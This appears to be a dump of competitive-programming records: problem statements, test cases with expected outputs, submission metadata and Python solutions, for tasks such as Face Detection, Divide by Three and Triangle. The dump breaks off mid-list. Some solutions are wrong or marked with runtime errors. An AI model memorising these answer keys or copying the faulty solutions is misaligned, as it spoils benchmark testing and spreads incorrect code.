import math,string,itertools,fractions,heapq,collections,re,array,bisect from itertools import chain, dropwhile, permutations, combinations from collections import defaultdict, deque def VI(): return list(map(int,input().split())) def main(n,m,im): ans = 0 if n==1 or m==1: print(ans) return def detect(x): if len(x)<4: return 0 if 'x' not in x: return 1 return 0 for i in range(n): for j in range(m): if im[i][j] == 'f': if i>0 and j>0: ans += detect(im[i-1][j-1:j+1] + im[i][j-1:j+1]) if i<n-1 and j>0: ans += detect(im[i][j-1:j+1] + im[i+1][j-1:j+1]) if i>0 and j<m-1: ans += detect(im[i-1][j:j+2] + im[i][j:j+2]) if i<n-1 and j<m-1: ans += detect(im[i][j:j+2] + im[i+1][j:j+2]) print(ans) def main_input(info=0): n,m = VI() im = list(range(n)) for i in range(n): im[i] = input() main(n,m,im) if __name__ == "__main__": main_input()
Title: Face Detection Time Limit: None seconds Memory Limit: None megabytes Problem Description: The developers of Looksery have to write an efficient algorithm that detects faces on a picture. Unfortunately, they are currently busy preparing a contest for you, so you will have to do it for them. In this problem an image is a rectangular table that consists of lowercase Latin letters. A face on the image is a 2<=×<=2 square, such that from the four letters of this square you can make word "face". You need to write a program that determines the number of faces on the image. The squares that correspond to the faces can overlap. Input Specification: The first line contains two space-separated integers, *n* and *m* (1<=≤<=*n*,<=*m*<=≤<=50) — the height and the width of the image, respectively. Next *n* lines define the image. Each line contains *m* lowercase Latin letters. Output Specification: In the single line print the number of faces on the image. Demo Input: ['4 4\nxxxx\nxfax\nxcex\nxxxx\n', '4 2\nxx\ncf\nae\nxx\n', '2 3\nfac\ncef\n', '1 4\nface\n'] Demo Output: ['1\n', '1\n', '2\n', '0\n'] Note: In the first sample the image contains a single face, located in a square with the upper left corner at the second line and the second column: In the second sample the image also contains exactly one face, its upper left corner is at the second row and the first column. In the third sample two faces are shown: In the fourth sample the image has no faces on it.
```python import math,string,itertools,fractions,heapq,collections,re,array,bisect from itertools import chain, dropwhile, permutations, combinations from collections import defaultdict, deque def VI(): return list(map(int,input().split())) def main(n,m,im): ans = 0 if n==1 or m==1: print(ans) return def detect(x): if len(x)<4: return 0 if 'x' not in x: return 1 return 0 for i in range(n): for j in range(m): if im[i][j] == 'f': if i>0 and j>0: ans += detect(im[i-1][j-1:j+1] + im[i][j-1:j+1]) if i<n-1 and j>0: ans += detect(im[i][j-1:j+1] + im[i+1][j-1:j+1]) if i>0 and j<m-1: ans += detect(im[i-1][j:j+2] + im[i][j:j+2]) if i<n-1 and j<m-1: ans += detect(im[i][j:j+2] + im[i+1][j:j+2]) print(ans) def main_input(info=0): n,m = VI() im = list(range(n)) for i in range(n): im[i] = input() main(n,m,im) if __name__ == "__main__": main_input() ```
0
509
A
Maximum in Table
PROGRAMMING
800
[ "brute force", "implementation" ]
null
null
An *n*<=×<=*n* table *a* is defined as follows: - The first row and the first column contain ones, that is: *a**i*,<=1<==<=*a*1,<=*i*<==<=1 for all *i*<==<=1,<=2,<=...,<=*n*. - Each of the remaining numbers in the table is equal to the sum of the number above it and the number to the left of it. In other words, the remaining elements are defined by the formula *a**i*,<=*j*<==<=*a**i*<=-<=1,<=*j*<=+<=*a**i*,<=*j*<=-<=1. These conditions define all the values in the table. You are given a number *n*. You need to determine the maximum value in the *n*<=×<=*n* table defined by the rules above.
The only line of input contains a positive integer *n* (1<=≤<=*n*<=≤<=10) — the number of rows and columns of the table.
Print a single line containing a positive integer *m* — the maximum value in the table.
[ "1\n", "5\n" ]
[ "1", "70" ]
In the second test the rows of the table look as follows:
0
[ { "input": "1", "output": "1" }, { "input": "5", "output": "70" }, { "input": "2", "output": "2" }, { "input": "3", "output": "6" }, { "input": "4", "output": "20" }, { "input": "6", "output": "252" }, { "input": "7", "output": "924" }, { "input": "9", "output": "12870" }, { "input": "10", "output": "48620" }, { "input": "8", "output": "3432" } ]
1,628,056,728
2,147,483,647
PyPy 3
OK
TESTS
10
109
20,172,800
n = int(input()) a = [] for i in range(n): b = [] for j in range(n): if i==0 or j==0: b.append(1) else: x = a[i-1][j] y = b[j-1] b.append(x + y) a+=[b] print(a[-1][-1])
Title: Maximum in Table Time Limit: None seconds Memory Limit: None megabytes Problem Description: An *n*<=×<=*n* table *a* is defined as follows: - The first row and the first column contain ones, that is: *a**i*,<=1<==<=*a*1,<=*i*<==<=1 for all *i*<==<=1,<=2,<=...,<=*n*. - Each of the remaining numbers in the table is equal to the sum of the number above it and the number to the left of it. In other words, the remaining elements are defined by the formula *a**i*,<=*j*<==<=*a**i*<=-<=1,<=*j*<=+<=*a**i*,<=*j*<=-<=1. These conditions define all the values in the table. You are given a number *n*. You need to determine the maximum value in the *n*<=×<=*n* table defined by the rules above. Input Specification: The only line of input contains a positive integer *n* (1<=≤<=*n*<=≤<=10) — the number of rows and columns of the table. Output Specification: Print a single line containing a positive integer *m* — the maximum value in the table. Demo Input: ['1\n', '5\n'] Demo Output: ['1', '70'] Note: In the second test the rows of the table look as follows:
```python n = int(input()) a = [] for i in range(n): b = [] for j in range(n): if i==0 or j==0: b.append(1) else: x = a[i-1][j] y = b[j-1] b.append(x + y) a+=[b] print(a[-1][-1]) ```
3
792
C
Divide by Three
PROGRAMMING
2,000
[ "dp", "greedy", "math", "number theory" ]
null
null
A positive integer number *n* is written on a blackboard. It consists of not more than 105 digits. You have to transform it into a beautiful number by erasing some of the digits, and you want to erase as few digits as possible. The number is called beautiful if it consists of at least one digit, doesn't have leading zeroes and is a multiple of 3. For example, 0, 99, 10110 are beautiful numbers, and 00, 03, 122 are not. Write a program which for the given *n* will find a beautiful number such that *n* can be transformed into this number by erasing as few digits as possible. You can erase an arbitraty set of digits. For example, they don't have to go one after another in the number *n*. If it's impossible to obtain a beautiful number, print -1. If there are multiple answers, print any of them.
The first line of input contains *n* — a positive integer number without leading zeroes (1<=≤<=*n*<=&lt;<=10100000).
Print one number — any beautiful number obtained by erasing as few as possible digits. If there is no answer, print <=-<=1.
[ "1033\n", "10\n", "11\n" ]
[ "33\n", "0\n", "-1\n" ]
In the first example it is enough to erase only the first digit to obtain a multiple of 3. But if we erase the first digit, then we obtain a number with a leading zero. So the minimum number of digits to be erased is two.
0
[ { "input": "1033", "output": "33" }, { "input": "10", "output": "0" }, { "input": "11", "output": "-1" }, { "input": "3", "output": "3" }, { "input": "1", "output": "-1" }, { "input": "117", "output": "117" }, { "input": "518", "output": "18" }, { "input": "327", "output": "327" }, { "input": "270461", "output": "70461" }, { "input": "609209", "output": "60909" }, { "input": "110930", "output": "930" }, { "input": "37616145150713688775", "output": "3616145150713688775" }, { "input": "98509135612114839419", "output": "9509135612114839419" }, { "input": "41674994051436988162", "output": "1674994051436988162" }, { "input": "82547062721736129804", "output": "82547062721736129804" }, { "input": "4902501252475186372406731932548506197390793597574544727433297197476846519276598727359617092494798814", "output": "490501252475186372406731932548506197390793597574544727433297197476846519276598727359617092494798814" }, { "input": "1291007209605301446874998623691572528836214969878676835460982410817526074579818247646933326771899122", "output": "1291007209605301446874998623691572528836214969878676835460982410817526074579818247646933326771899122" }, { "input": "5388306043547446322173224045662327678394712363272776811399689704247387317165308057863239568137902157", "output": "538830603547446322173224045662327678394712363272776811399689704247387317165308057863239568137902157" }, { "input": "20000111", "output": "200001" }, { "input": "100222", "output": "1002" }, { "input": "202", "output": "0" }, { "input": "100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000033", "output": "33" }, { "input": "101", "output": "0" }, { "input": "1000000222", "output": "10000002" }, { "input": "1001", "output": "0" }, { "input": "205", "output": "0" }, { "input": "102211", "output": "10221" }, { "input": "100000002022", "output": "1000000002" }, { "input": "20203", "output": "3" }, { "input": "1002001", "output": "100200" }, { "input": "10002223", "output": "100023" }, { "input": "1002223", "output": "10023" }, { "input": "100000231", "output": "10000023" }, { "input": "220", "output": "0" }, { "input": "322", "output": "3" }, { "input": "100000222", "output": "1000002" }, { "input": "10033", "output": "33" }, { "input": "2003302", "output": "330" }, { "input": "10011001", "output": "1001001" }, { "input": "20000000011001111", "output": "200000000001111" }, { "input": "100000000", "output": "0" }, { "input": "1000", "output": "0" }, { "input": "200000000000000000000000000008", "output": "0" }, { "input": "1000000000000222", "output": "10000000000002" }, { "input": "100000000000000000222", "output": "1000000000000000002" }, { "input": "29512", "output": "2952" }, { "input": "88888888888888", "output": "888888888888" }, { "input": "100000000000222", "output": "1000000000002" }, { "input": "11000000", "output": "0" }, { "input": "2200", "output": "0" }, { "input": "10000555", "output": "100005" }, { "input": "1000222", "output": "10002" }, { "input": "10021", "output": "1002" }, { "input": "223", "output": "3" }, { "input": "1013", "output": "3" }, { "input": "100020001", "output": "10002000" }, { "input": "20000000000000000000932", "output": "93" }, { "input": "1010", "output": "0" }, { "input": "2000000002222", "output": "20000000022" }, { "input": "10213", "output": "1023" }, { "input": "109111", "output": "10911" }, { "input": "1010101010", "output": "10001010" }, { "input": "300055", "output": "3000" }, { "input": "200200", "output": "0" }, { "input": "202222", "output": "2022" }, { "input": "4000888", "output": "40008" }, { "input": "200000111", "output": "2000001" }, { "input": "2000000111", "output": "20000001" }, { "input": "1000000", "output": "0" }, { "input": "1003301", "output": "330" }, { "input": "100001", "output": "0" }, { "input": "40000000000000000000888", "output": "400000000000000000008" }, { "input": "100000", "output": "0" }, { "input": "4000000888", "output": "40000008" }, { "input": "334733", "output": "3333" }, { "input": "1000002220", "output": "10000020" }, { "input": "100321", "output": "10032" }, { "input": "101111", "output": "1011" }, { "input": "100000000222", "output": "1000000002" }, { "input": "10001", "output": "0" }, { "input": "7", "output": "-1" }, { "input": "2000000000111", "output": "20000000001" }, { "input": "100000001", "output": "0" }, { "input": "10000000000222", "output": "100000000002" }, { "input": "200000000000000111", "output": "2000000000000001" }, { "input": "404044", "output": "40044" }, { "input": "30202", "output": "300" }, { "input": "20000000000000000111", "output": "200000000000000001" }, { "input": "707", "output": "0" }, { "input": "20000300000000003000050000003", "output": "30000000000300000000003" }, { "input": "400000888", "output": "4000008" }, { "input": "2888", "output": "888" }, { "input": "200111", "output": "2001" }, { "input": "10000000888", "output": "100000008" }, { "input": "40000888", "output": "400008" }, { "input": "40404044", "output": "400044" }, { "input": "5500000000", "output": "0" }, { "input": "100012", "output": "10002" }, { "input": "1000007", "output": "0" }, { "input": "200093", "output": "93" }, { "input": "10000000222", "output": "100000002" }, { "input": "20000000002", "output": "0" }, { "input": "74333", "output": "333" }, { "input": "200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008", "output": "0" }, { "input": "10000000111", "output": "1000000011" }, { "input": "100007", "output": "0" }, { "input": "20000006711", "output": "200000061" }, { "input": "8059", "output": "9" }, { "input": "8008", "output": "0" }, { "input": "88", "output": "-1" }, { "input": "2002", "output": "0" }, { "input": "2000111", "output": "20001" }, { "input": "100000000100000002", "output": "10000000000000002" }, { "input": "1000000000000000000000000000000000", "output": "0" }, { "input": "10000000000000000222", "output": "100000000000000002" }, { "input": "1000001", "output": "0" }, { "input": "200000000000111", "output": "2000000000001" }, { "input": "2000000002", "output": "0" }, { "input": "2010000100001", "output": "10000100001" }, { "input": "200330", "output": "330" }, { "input": "10000222", "output": "100002" }, { "input": "2005", "output": "0" }, { "input": "100000000000822", "output": "1000000000002" }, { "input": "10000000000000000000000", "output": "0" }, { "input": "7046", "output": "6" }, { "input": "4000117", "output": "400017" }, { "input": "971", "output": "9" }, { "input": "404", "output": "0" }, { "input": "5", "output": "-1" }, { "input": "164", "output": "6" }, { "input": "140", "output": "0" }, { "input": "74", "output": "-1" }, { "input": "2058232", "output": "20232" }, { "input": "4", "output": "-1" }, { "input": "20206", "output": "6" }, { "input": "103310", "output": "330" }, { "input": "100", "output": "0" }, { "input": "417179", "output": "7179" }, { "input": "70558", "output": "558" }, { "input": "298", "output": "9" }, { "input": "7003", "output": "3" }, { "input": "2212", "output": "222" }, { "input": "1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001", "output": "0" }, { "input": "2000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002", "output": "0" }, { "input": "1002200", "output": "100200" }, { "input": "1222", "output": "222" }, { "input": "101200100", "output": "10100100" }, { "input": "1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003", "output": "3" }, { "input": "20020201", "output": "2002020" }, { "input": "12122", "output": "1122" }, { "input": "20200", "output": "0" }, { "input": "2", "output": "-1" }, { "input": "1000000000000258", "output": "10000000000008" } ]
1,490,639,819
2,147,483,647
Python 3
RUNTIME_ERROR
TESTS
4
62
4,608,000
c = input() C = int(c) if C % 3 == 0: print(c) else: a = C % 3 sm = 0 p = [] for i in range(len(c)): if int(c[i]) % 3 == a: s = c[:i]+c[i+1:] print(int(s)) exit() elif int(c[i]) % 3 != 0 and int(c[i]) % 3 != a: p.append(i) if len(p) == 2: s = c[:p[0]] + c[p[0]+1:p[1]] + c[1+p[1]:] if len(s) != 0: print(int(s)) exit() print(-1)
Title: Divide by Three Time Limit: None seconds Memory Limit: None megabytes Problem Description: A positive integer number *n* is written on a blackboard. It consists of not more than 105 digits. You have to transform it into a beautiful number by erasing some of the digits, and you want to erase as few digits as possible. The number is called beautiful if it consists of at least one digit, doesn't have leading zeroes and is a multiple of 3. For example, 0, 99, 10110 are beautiful numbers, and 00, 03, 122 are not. Write a program which for the given *n* will find a beautiful number such that *n* can be transformed into this number by erasing as few digits as possible. You can erase an arbitraty set of digits. For example, they don't have to go one after another in the number *n*. If it's impossible to obtain a beautiful number, print -1. If there are multiple answers, print any of them. Input Specification: The first line of input contains *n* — a positive integer number without leading zeroes (1<=≤<=*n*<=&lt;<=10100000). Output Specification: Print one number — any beautiful number obtained by erasing as few as possible digits. If there is no answer, print <=-<=1. Demo Input: ['1033\n', '10\n', '11\n'] Demo Output: ['33\n', '0\n', '-1\n'] Note: In the first example it is enough to erase only the first digit to obtain a multiple of 3. But if we erase the first digit, then we obtain a number with a leading zero. So the minimum number of digits to be erased is two.
```python c = input() C = int(c) if C % 3 == 0: print(c) else: a = C % 3 sm = 0 p = [] for i in range(len(c)): if int(c[i]) % 3 == a: s = c[:i]+c[i+1:] print(int(s)) exit() elif int(c[i]) % 3 != 0 and int(c[i]) % 3 != a: p.append(i) if len(p) == 2: s = c[:p[0]] + c[p[0]+1:p[1]] + c[1+p[1]:] if len(s) != 0: print(int(s)) exit() print(-1) ```
-1
6
A
Triangle
PROGRAMMING
900
[ "brute force", "geometry" ]
A. Triangle
2
64
Johnny has a younger sister Anne, who is very clever and smart. As she came home from the kindergarten, she told his brother about the task that her kindergartener asked her to solve. The task was just to construct a triangle out of four sticks of different colours. Naturally, one of the sticks is extra. It is not allowed to break the sticks or use their partial length. Anne has perfectly solved this task, now she is asking Johnny to do the same. The boy answered that he would cope with it without any difficulty. However, after a while he found out that different tricky things can occur. It can happen that it is impossible to construct a triangle of a positive area, but it is possible to construct a degenerate triangle. It can be so, that it is impossible to construct a degenerate triangle even. As Johnny is very lazy, he does not want to consider such a big amount of cases, he asks you to help him.
The first line of the input contains four space-separated positive integer numbers not exceeding 100 — lengthes of the sticks.
Output TRIANGLE if it is possible to construct a non-degenerate triangle. Output SEGMENT if the first case cannot take place and it is possible to construct a degenerate triangle. Output IMPOSSIBLE if it is impossible to construct any triangle. Remember that you are to use three sticks. It is not allowed to break the sticks or use their partial length.
[ "4 2 1 3\n", "7 2 2 4\n", "3 5 9 1\n" ]
[ "TRIANGLE\n", "SEGMENT\n", "IMPOSSIBLE\n" ]
none
0
[ { "input": "4 2 1 3", "output": "TRIANGLE" }, { "input": "7 2 2 4", "output": "SEGMENT" }, { "input": "3 5 9 1", "output": "IMPOSSIBLE" }, { "input": "3 1 5 1", "output": "IMPOSSIBLE" }, { "input": "10 10 10 10", "output": "TRIANGLE" }, { "input": "11 5 6 11", "output": "TRIANGLE" }, { "input": "1 1 1 1", "output": "TRIANGLE" }, { "input": "10 20 30 40", "output": "TRIANGLE" }, { "input": "45 25 5 15", "output": "IMPOSSIBLE" }, { "input": "20 5 8 13", "output": "TRIANGLE" }, { "input": "10 30 7 20", "output": "SEGMENT" }, { "input": "3 2 3 2", "output": "TRIANGLE" }, { "input": "70 10 100 30", "output": "SEGMENT" }, { "input": "4 8 16 2", "output": "IMPOSSIBLE" }, { "input": "3 3 3 10", "output": "TRIANGLE" }, { "input": "1 5 5 5", "output": "TRIANGLE" }, { "input": "13 25 12 1", "output": "SEGMENT" }, { "input": "10 100 7 3", "output": "SEGMENT" }, { "input": "50 1 50 100", "output": "TRIANGLE" }, { "input": "50 1 100 49", "output": "SEGMENT" }, { "input": "49 51 100 1", "output": "SEGMENT" }, { "input": "5 11 2 25", "output": "IMPOSSIBLE" }, { "input": "91 50 9 40", "output": "IMPOSSIBLE" }, { "input": "27 53 7 97", "output": "IMPOSSIBLE" }, { "input": "51 90 24 8", "output": "IMPOSSIBLE" }, { "input": "3 5 1 1", "output": "IMPOSSIBLE" }, { "input": "13 49 69 15", "output": "IMPOSSIBLE" }, { "input": "16 99 9 35", "output": "IMPOSSIBLE" }, { "input": "27 6 18 53", "output": "IMPOSSIBLE" }, { "input": "57 88 17 8", "output": "IMPOSSIBLE" }, { "input": "95 20 21 43", "output": "IMPOSSIBLE" }, { "input": "6 19 32 61", "output": "IMPOSSIBLE" }, { "input": "100 21 30 65", "output": "IMPOSSIBLE" }, { "input": "85 16 61 9", "output": "IMPOSSIBLE" }, { "input": "5 6 19 82", "output": "IMPOSSIBLE" }, { "input": "1 5 1 3", "output": "IMPOSSIBLE" }, { "input": "65 10 36 17", "output": "IMPOSSIBLE" }, { "input": "81 64 9 7", "output": "IMPOSSIBLE" }, { "input": "11 30 79 43", "output": "IMPOSSIBLE" }, { "input": "1 1 5 3", "output": "IMPOSSIBLE" }, { "input": "21 94 61 31", "output": "IMPOSSIBLE" }, { "input": "49 24 9 74", "output": "IMPOSSIBLE" }, { "input": "11 19 5 77", "output": "IMPOSSIBLE" }, { "input": "52 10 19 71", "output": "SEGMENT" }, { "input": "2 3 7 10", "output": "SEGMENT" }, { "input": "1 2 6 3", "output": "SEGMENT" }, { "input": "2 6 1 8", "output": "SEGMENT" }, { "input": "1 2 4 1", "output": "SEGMENT" }, { "input": "4 10 6 2", "output": "SEGMENT" }, { "input": "2 10 7 3", "output": "SEGMENT" }, { "input": "5 2 3 9", "output": "SEGMENT" }, { "input": "6 1 4 10", "output": "SEGMENT" }, { "input": "10 6 4 1", "output": "SEGMENT" }, { "input": "3 2 9 1", "output": "SEGMENT" }, { "input": "22 80 29 7", "output": "SEGMENT" }, { "input": "2 6 3 9", "output": "SEGMENT" }, { "input": "3 1 2 1", "output": "SEGMENT" }, { "input": "3 4 7 1", "output": "SEGMENT" }, { "input": "8 4 3 1", "output": "SEGMENT" }, { "input": "2 8 3 5", "output": "SEGMENT" }, { "input": "4 1 2 1", "output": "SEGMENT" }, { "input": "8 1 3 2", "output": "SEGMENT" }, { "input": "6 2 1 8", "output": "SEGMENT" }, { "input": "3 3 3 6", "output": "TRIANGLE" }, { "input": "3 6 3 3", "output": "TRIANGLE" }, { "input": "4 10 4 4", "output": "TRIANGLE" }, { "input": "1 1 2 1", "output": "TRIANGLE" }, { "input": "3 3 3 6", "output": "TRIANGLE" }, { "input": "5 4 5 5", "output": "TRIANGLE" }, { "input": "8 7 8 8", "output": "TRIANGLE" }, { "input": "3 3 3 1", "output": "TRIANGLE" }, { "input": "1 1 6 6", "output": "TRIANGLE" }, { "input": "1 9 1 9", "output": "TRIANGLE" }, { "input": "7 2 2 7", "output": "TRIANGLE" }, { "input": "7 2 3 2", "output": "TRIANGLE" }, { "input": "4 4 10 10", "output": "TRIANGLE" }, { "input": "7 7 10 7", "output": "TRIANGLE" }, { "input": "4 4 4 5", "output": "TRIANGLE" }, { "input": "1 10 9 2", "output": "TRIANGLE" }, { "input": "1 8 2 7", "output": "TRIANGLE" }, { "input": "4 3 2 8", "output": "TRIANGLE" }, { "input": "5 9 5 3", "output": "TRIANGLE" }, { "input": "4 10 3 5", "output": "TRIANGLE" } ]
1,546,884,527
2,147,483,647
Python 3
OK
TESTS
83
218
0
l=list(map(int,input().split())) l.sort() l.reverse() a,b,c,d=l f=[[a,b,c],[a,c,d],[a,b,d],[b,c,d]] x=True for i in f: if i[0]-i[1]-i[2]<0: print("TRIANGLE") x=False break if x : for i in f: if i[0]-i[1]-i[2]==0: print("SEGMENT") x=False break if x: print("IMPOSSIBLE")
Title: Triangle Time Limit: 2 seconds Memory Limit: 64 megabytes Problem Description: Johnny has a younger sister Anne, who is very clever and smart. As she came home from the kindergarten, she told his brother about the task that her kindergartener asked her to solve. The task was just to construct a triangle out of four sticks of different colours. Naturally, one of the sticks is extra. It is not allowed to break the sticks or use their partial length. Anne has perfectly solved this task, now she is asking Johnny to do the same. The boy answered that he would cope with it without any difficulty. However, after a while he found out that different tricky things can occur. It can happen that it is impossible to construct a triangle of a positive area, but it is possible to construct a degenerate triangle. It can be so, that it is impossible to construct a degenerate triangle even. As Johnny is very lazy, he does not want to consider such a big amount of cases, he asks you to help him. Input Specification: The first line of the input contains four space-separated positive integer numbers not exceeding 100 — lengthes of the sticks. Output Specification: Output TRIANGLE if it is possible to construct a non-degenerate triangle. Output SEGMENT if the first case cannot take place and it is possible to construct a degenerate triangle. Output IMPOSSIBLE if it is impossible to construct any triangle. Remember that you are to use three sticks. It is not allowed to break the sticks or use their partial length. Demo Input: ['4 2 1 3\n', '7 2 2 4\n', '3 5 9 1\n'] Demo Output: ['TRIANGLE\n', 'SEGMENT\n', 'IMPOSSIBLE\n'] Note: none
```python l=list(map(int,input().split())) l.sort() l.reverse() a,b,c,d=l f=[[a,b,c],[a,c,d],[a,b,d],[b,c,d]] x=True for i in f: if i[0]-i[1]-i[2]<0: print("TRIANGLE") x=False break if x : for i in f: if i[0]-i[1]-i[2]==0: print("SEGMENT") x=False break if x: print("IMPOSSIBLE") ```
3.9455
672
B
Different is Good
PROGRAMMING
1,000
[ "constructive algorithms", "implementation", "strings" ]
null
null
A wise man told Kerem "Different is good" once, so Kerem wants all things in his life to be different. Kerem recently got a string *s* consisting of lowercase English letters. Since Kerem likes it when things are different, he wants all substrings of his string *s* to be distinct. Substring is a string formed by some number of consecutive characters of the string. For example, string "aba" has substrings "" (empty substring), "a", "b", "a", "ab", "ba", "aba". If string *s* has at least two equal substrings then Kerem will change characters at some positions to some other lowercase English letters. Changing characters is a very tiring job, so Kerem want to perform as few changes as possible. Your task is to find the minimum number of changes needed to make all the substrings of the given string distinct, or determine that it is impossible.
The first line of the input contains an integer *n* (1<=≤<=*n*<=≤<=100<=000) — the length of the string *s*. The second line contains the string *s* of length *n* consisting of only lowercase English letters.
If it's impossible to change the string *s* such that all its substring are distinct print -1. Otherwise print the minimum required number of changes.
[ "2\naa\n", "4\nkoko\n", "5\nmurat\n" ]
[ "1\n", "2\n", "0\n" ]
In the first sample one of the possible solutions is to change the first character to 'b'. In the second sample, one may change the first character to 'a' and second character to 'b', so the string becomes "abko".
1,000
[ { "input": "2\naa", "output": "1" }, { "input": "4\nkoko", "output": "2" }, { "input": "5\nmurat", "output": "0" }, { "input": "6\nacbead", "output": "1" }, { "input": "7\ncdaadad", "output": "4" }, { "input": "25\npeoaicnbisdocqofsqdpgobpn", "output": "12" }, { "input": "25\ntcqpchnqskqjacruoaqilgebu", "output": "7" }, { "input": "13\naebaecedabbee", "output": "8" }, { "input": "27\naaaaaaaaaaaaaaaaaaaaaaaaaaa", "output": "-1" }, { "input": "10\nbababbdaee", "output": "6" }, { "input": "11\ndbadcdbdbca", "output": "7" }, { "input": "12\nacceaabddaaa", "output": "7" }, { "input": "13\nabddfbfaeecfa", "output": "7" }, { "input": "14\neeceecacdbcbbb", "output": "9" }, { "input": "15\ndcbceaaggabaheb", "output": "8" }, { "input": "16\nhgiegfbadgcicbhd", "output": "7" }, { "input": "17\nabhfibbdddfghgfdi", "output": "10" }, { "input": "26\nbbbbbabbaababaaabaaababbaa", "output": "24" }, { "input": "26\nahnxdnbfbcrirerssyzydihuee", "output": "11" }, { "input": "26\nhwqeqhkpxwulbsiwmnlfyhgknc", "output": "8" }, { "input": "26\nrvxmulriorilidecqwmfaemifj", "output": "10" }, { "input": "26\naowpmreooavnmamogdoopuisge", "output": "12" }, { "input": "26\ninimevtuefhvuefirdehmmfudh", "output": "15" }, { "input": "26\naaaaaaaaaaaaaaaaaaaaaaaaaa", "output": "25" }, { "input": "27\nqdcfjtblgglnilgassirrjekcjt", "output": "-1" }, { "input": "27\nabcdefghijklmnopqrstuvwxyza", "output": "-1" }, { "input": "26\nqwertyuiopasdfghjklzxcvbnm", "output": "0" }, { "input": "5\nzzzzz", "output": "4" }, { "input": "27\naaaaaaaaaaaaaaaaabaaaaaaaaa", "output": "-1" }, { "input": "1\nq", "output": "0" }, { "input": "27\nqwertyuioplkjhgfdsazxcvbnmm", "output": "-1" }, { "input": "9\nxxxyyyzzz", "output": "6" }, { "input": "45\naaabbbcccdddeeefffgghhiijjkkkkkkkkkkkkkkkkkkk", "output": "-1" }, { "input": "27\nqwertyuiopasdfghjklzxcvbnmm", "output": "-1" }, { "input": "26\nabcdefghijklmnopqrstuvwxyz", "output": "0" }, { "input": "26\nabcdefghijklmnopqrstuvwxya", "output": "1" }, { "input": "27\nabcdefghijklmnopqrstuvwxyzz", "output": "-1" }, { "input": "26\naaaaaaaaaaaaaaaaaaaaaaaaaa", "output": "25" }, { "input": "26\nqwertyuioplkjhgfdsazxcvbnm", "output": "0" }, { "input": "10\nzzzzzzzzzz", "output": "9" }, { "input": "1\na", "output": "0" }, { "input": "30\nabcdefghtyabcdefghtyabcdefghty", "output": "-1" } ]
1,547,376,611
2,147,483,647
Python 3
OK
TESTS
47
109
204,800
n=int(input()) s=input() print (-1 if n>26 else n-len(set(s)))
Title: Different is Good Time Limit: None seconds Memory Limit: None megabytes Problem Description: A wise man told Kerem "Different is good" once, so Kerem wants all things in his life to be different. Kerem recently got a string *s* consisting of lowercase English letters. Since Kerem likes it when things are different, he wants all substrings of his string *s* to be distinct. Substring is a string formed by some number of consecutive characters of the string. For example, string "aba" has substrings "" (empty substring), "a", "b", "a", "ab", "ba", "aba". If string *s* has at least two equal substrings then Kerem will change characters at some positions to some other lowercase English letters. Changing characters is a very tiring job, so Kerem want to perform as few changes as possible. Your task is to find the minimum number of changes needed to make all the substrings of the given string distinct, or determine that it is impossible. Input Specification: The first line of the input contains an integer *n* (1<=≤<=*n*<=≤<=100<=000) — the length of the string *s*. The second line contains the string *s* of length *n* consisting of only lowercase English letters. Output Specification: If it's impossible to change the string *s* such that all its substring are distinct print -1. Otherwise print the minimum required number of changes. Demo Input: ['2\naa\n', '4\nkoko\n', '5\nmurat\n'] Demo Output: ['1\n', '2\n', '0\n'] Note: In the first sample one of the possible solutions is to change the first character to 'b'. In the second sample, one may change the first character to 'a' and second character to 'b', so the string becomes "abko".
```python n=int(input()) s=input() print (-1 if n>26 else n-len(set(s))) ```
3
911
A
Nearest Minimums
PROGRAMMING
1,100
[ "implementation" ]
null
null
You are given an array of *n* integer numbers *a*0,<=*a*1,<=...,<=*a**n*<=-<=1. Find the distance between two closest (nearest) minimums in it. It is guaranteed that in the array a minimum occurs at least two times.
The first line contains positive integer *n* (2<=≤<=*n*<=≤<=105) — size of the given array. The second line contains *n* integers *a*0,<=*a*1,<=...,<=*a**n*<=-<=1 (1<=≤<=*a**i*<=≤<=109) — elements of the array. It is guaranteed that in the array a minimum occurs at least two times.
Print the only number — distance between two nearest minimums in the array.
[ "2\n3 3\n", "3\n5 6 5\n", "9\n2 1 3 5 4 1 2 3 1\n" ]
[ "1\n", "2\n", "3\n" ]
none
0
[ { "input": "2\n3 3", "output": "1" }, { "input": "3\n5 6 5", "output": "2" }, { "input": "9\n2 1 3 5 4 1 2 3 1", "output": "3" }, { "input": "6\n4 6 7 8 6 4", "output": "5" }, { "input": "2\n1000000000 1000000000", "output": "1" }, { "input": "42\n1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1", "output": "1" }, { "input": "2\n10000000 10000000", "output": "1" }, { "input": "5\n100000000 100000001 100000000 100000001 100000000", "output": "2" }, { "input": "9\n4 3 4 3 4 1 3 3 1", "output": "3" }, { "input": "3\n10000000 1000000000 10000000", "output": "2" }, { "input": "12\n5 6 6 5 6 1 9 9 9 9 9 1", "output": "6" }, { "input": "5\n5 5 1 2 1", "output": "2" }, { "input": "5\n2 2 1 3 1", "output": "2" }, { "input": "3\n1000000000 1000000000 1000000000", "output": "1" }, { "input": "3\n100000005 1000000000 100000005", "output": "2" }, { "input": "5\n1 2 2 2 1", "output": "4" }, { "input": "3\n10000 1000000 10000", "output": "2" }, { "input": "3\n999999999 999999998 999999998", "output": "1" }, { "input": "6\n2 1 1 2 3 4", "output": "1" }, { "input": "4\n1000000000 900000000 900000000 1000000000", "output": "1" }, { "input": "5\n7 7 2 7 2", "output": "2" }, { "input": "6\n10 10 1 20 20 1", "output": "3" }, { "input": "2\n999999999 999999999", "output": "1" }, { "input": "10\n100000 100000 1 2 3 4 5 6 7 1", "output": "7" }, { "input": "10\n3 3 1 2 2 1 10 10 10 10", "output": "3" }, { "input": "5\n900000000 900000001 900000000 900000001 900000001", "output": "2" }, { "input": "5\n3 3 2 5 2", "output": "2" }, { "input": "2\n100000000 100000000", "output": "1" }, { "input": "10\n10 15 10 2 54 54 54 54 2 10", "output": "5" }, { "input": "2\n999999 999999", "output": "1" }, { "input": 